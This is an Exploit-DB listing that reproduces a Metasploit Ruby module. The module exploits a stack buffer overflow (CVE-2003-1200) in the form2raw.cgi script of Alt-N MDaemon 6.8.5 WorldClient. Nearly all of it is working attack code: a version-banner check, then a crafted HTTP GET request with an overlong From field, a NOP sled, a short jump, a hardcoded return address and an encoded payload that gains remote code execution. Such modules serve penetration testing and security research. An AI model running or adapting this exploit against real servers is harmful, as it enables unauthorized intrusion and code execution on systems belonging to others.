Alt-N MDaemon 6.8.5 - WorldClient 'form2raw.cgi' Remote Stack Buffer Overflow (Metasploit)

EDB-ID:

16812




Platform:

Windows

Date:

2010-07-01


##
# $Id: mdaemon_worldclient_form2raw.rb 9653 2010-07-01 23:33:07Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'		=> 'MDaemon <= 6.8.5 WorldClient form2raw.cgi Stack Buffer Overflow',
			'Description'	=> %q{
			This module exploits a stack buffer overflow in Alt-N MDaemon SMTP server for
			versions 6.8.5 and earlier. When WorldClient HTTP server is installed (default),
			a CGI script is provided to accept html FORM based emails and deliver via MDaemon.exe,
			by writing the CGI output to the Raw Queue. When X-FromCheck is enabled (also default),
			the temporary form2raw.cgi data is copied by MDaemon.exe and a stack based
			overflow occurs when an excessively long From field is specified.
			The RawQueue is processed every 1 minute by default, to a maximum of 60 minutes.
			Keep this in mind when choosing payloads or setting WfsDelay... You'll need to wait.

			Furthermore, this exploit uses a direct memory jump into a nopsled (which isn't very
			reliable). Once the payload is written into the Raw Queue by Form2Raw, MDaemon will
			continue to crash/execute the payload until the CGI output is manually deleted
			from the queue in C:\MDaemon\RawFiles\*.raw.
			},
			'Author' 	=> [ 'patrick' ],
			'Arch'		=> [ ARCH_X86 ],
			'License'       => MSF_LICENSE,
			'Version'       => '$Revision: 9653 $',
			'References'    =>
			[
				[ 'CVE', '2003-1200' ],
				[ 'OSVDB', '3255' ],
				[ 'BID', '9317' ],
			],
			'Privileged'		=> true,
			'DefaultOptions'	=>
			{
				'EXITFUNC'	=> 'thread',
			},
			'Payload'		=>
				{
					'Space'			=> 900,
					'BadChars' 		=> "\x00\x0a\x0d%\x20@<>&?|,;=`()${}\#!~\"\xff\/\\",
					'StackAdjustment' 	=> -3500,
				},
			'Platform' => ['win'],
			'Targets'  =>
			[
				# Patrickw - Tested OK-ish 20090702 w2k
				[ 'Universal MDaemon.exe', 	{ 'Ret' => 0x022fcd46 } ], # direct memory jump :(
				[ 'Debugging test',		{ 'Ret' => 0x44434241 } ],
			],
			'DisclosureDate' => 'Dec 29 2003',
			'DefaultTarget' => 0))

			register_options(
			[
				Opt::RPORT(3000),
			],self.class)
	end

	def check
		connect
		sock.put("GET / HTTP/1.0\r\n\r\n")
		banner = sock.get(-1,3)
		disconnect

		if (banner =~ /WDaemon\/6\.8\.[0-5]/)
			return Exploit::CheckCode::Vulnerable
		end
			return Exploit::CheckCode::Safe
	end

	def exploit
		connect

		sploit = "GET /form2raw.cgi?From=" # Trigger vuln
		sploit << "\x90" * 242 # We set EIP to the middle of this.
		sploit << Rex::Arch::X86.jmp_short(61) # Then jump over some junk memory.. 60 is precise but is a badchar.
		sploit << [target['Ret']].pack('V') + "c" # Return address, plus 1 byte overwrite for ESP... 'c'
		sploit << "&To=#{Rex::Text.rand_text_alpha(12)}@#{Rex::Text.rand_text_alpha(12)}.#{Rex::Text.rand_text_alpha(3)}"
		sploit << "&Body=" + "\x90" * 1 # 1 Byte for short jump.
		sploit << payload.encoded + " HTTP/1.0"

		sock.put(sploit + "\r\n\r\n")
		res = sock.get(3,3)

		if (res =~ /Message spooled but will be deleted if not FROM a valid account/)
			print_status("Payload accepted by WorldClient Form2Raw CGI!")
			print_status("Wait for the Raw Queue to be processed (1 to 60 minutes).")
		else
			print_status("Message not accepted. Vulnerable target?")
		end

		handler
		disconnect
	end
end